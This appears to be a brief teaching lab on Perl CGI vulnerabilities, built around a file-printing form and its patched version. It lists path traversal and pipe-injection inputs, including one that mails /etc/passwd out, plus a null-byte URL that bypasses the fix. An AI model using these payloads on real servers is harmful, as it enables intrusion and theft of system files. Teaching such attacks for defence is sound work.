CGI exploit
Understand the Perl CGI exploit
data/1.db data/2.db data/3.db cgi-bin/printdata1.cgi cgi-bin/printdata2.cgi html/query_data.html
This is a simple form to print the input filename data. In the form, you may enter "1.db", "2.db" or "3.db" to view file content of these files
../../../etc/passwd ../../../etc/inetd.conf ../../../bin/ls /etc| ../../../bin/ps -ef| ../../../bin/cat /etc/passwd|/bin/mail your_email|
Type diff cgi-bin/printdata1.cgi cgi-bin/printdata2.cgi to see the difference of these two programs. printdata2.cgi has been modified to check the exist of input file.
http://your_host.wsh.hkntec.net/cgi-bin/printdata.cgi?filename=..%2F..%2F..%2Fbin%2Fps%00%7C
Why this URL can get around the refined printdata.cgi program?